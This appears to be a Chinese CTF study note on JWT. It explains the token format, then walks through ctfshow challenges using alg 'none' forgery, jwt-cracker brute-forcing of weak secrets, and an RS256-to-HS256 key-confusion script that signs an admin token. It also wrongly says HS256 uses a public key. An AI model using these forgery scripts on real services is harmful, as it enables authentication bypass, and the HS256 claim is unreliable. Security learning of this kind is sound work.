定义

JWT(JSON Web Token)是一种用于在各方之间传递信息的紧凑且自包含的方式。它们通常用于认证和授权。
JWT 由三个部分组成:头部(Header)、载荷(Payload)和签名(Signature)。这三个部分一起编码成一个字符串,使用点(.)分隔。

头部(Header)

头部通常包含两个部分:令牌的类型(JWT)和所使用的签名算法(如 HMAC SHA256 或 RSA)。

示例:

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

载荷(Payload)

载荷部分包含声明(claims)。声明是关于实体(通常是用户)和其他数据的陈述。有三种类型的声明:

  1. 注册声明(Registered claims):这些是预定义的声明,如 iss(发行者)、exp(过期时间)、sub(主题)、aud(观众)等。
  2. 公共声明(Public claims):这些可以自定义使用,但应避免冲突。
  3. 私有声明(Private claims):这些是自定义的声明,只有参与方之间共享的信息。

示例:

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

签名(Signature)

签名部分是为了确保令牌未被篡改。它通过将头部、载荷和一个密钥(使用 HMAC SHA256 算法)或 RSA 私钥进行编码生成。

签名的生成步骤:

  • 将头部和载荷进行 base64url 编码。
  • 连接两个编码后的字符串,中间用点(.)分隔。
  • 使用指定的算法和密钥对连接后的字符串进行签名。
  • 例如,对于 HMAC SHA256:
1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

工具

jwt编码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import jwt

#private_key = """XXX"""

header = {
"alg": "none",
"typ": "JWT"
}

payload = {
"iss": "admin",
"iat": 1667822180,
"exp": 1667829380,
"nbf": 1667822180,
"sub": "admin",
"jti": "237410127e2551647730b97941cdcae5"
}

token = jwt.encode(
payload,
#private_key,
"", #密码
algorithm="none", # 加密方式
headers=header
)

print(token)

jwt在线加解密https://jwt.io/

jwt-cracker

jwt-cracker 是一种工具,用于破解或猜测 JWT(JSON Web Token)的签名密钥。
https://github.com/lmammino/jwt-cracker

使用方法:
jwt-cracker -t jwt -a (暴力)
jwt-cracker -t jwt -d rockyou.txt (字典)

利用

无加密算法(none)

这种情况可以直接将jwt解base64编码得到明文,然后修改部分数据后再重新base64编码回去即可实现伪造身份。
例题:ctfshow web345
dirsearch扫到/admin/index.php
抓包拿到jwt base64解码得到信息
{"alg":"None","typ":"jwt"}?[{"iss":"admin","iat":1720167869,"exp":1720175069,"nbf":1720167869,"sub":"user","jti":"a2fc934dcc24f6579b03f41f65e6a2bc"}]
修改sub里的user改为admin再重新发包得到flag
[{"iss":"admin","iat":1720167869,"exp":1720175069,"nbf":1720167869,"sub":"admin","jti":"a2fc934dcc24f6579b03f41f65e6a2bc"}]

密钥泄露

前提:网站可能将密钥放在后台中没有删除,通过dirsearch等工具查出

HS256
HS256使用公钥进行加解密
获取到公钥即可进行jwt数据篡改

RS256
RS256私钥加密,公钥解密
获取到私钥即可进行jwt数据篡改

弱密码爆破

前提:有些服务器使用弱口令密码作为加密密钥使用

例题:ctfshow web348
抓包拿到jwt,在https://jwt.io解密发现存在HS256加密,密码未知。
使用jwt-cracker 暴力破解得到密码:aaab

修改sub里的user改为admin再重新发包得到flag

修改加密算法

前提:服务器jwt支持多种加密算法

例题:ctfshow web350
源码包里找到public.key(公钥),而抓包得到的jwt是RS256加密,需要的是私钥,因此尝试将加密方式篡改为HS256,即可使用公钥进行jwt数据篡改。
本题使用nodejs,在public.key的当前目录下新建js文件

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

终端运行node jwt.js 得到token,再重新发包得到flag

参考:
https://www.cnblogs.com/meng-han/p/16867619.html
https://blog.csdn.net/q20010619/article/details/120420461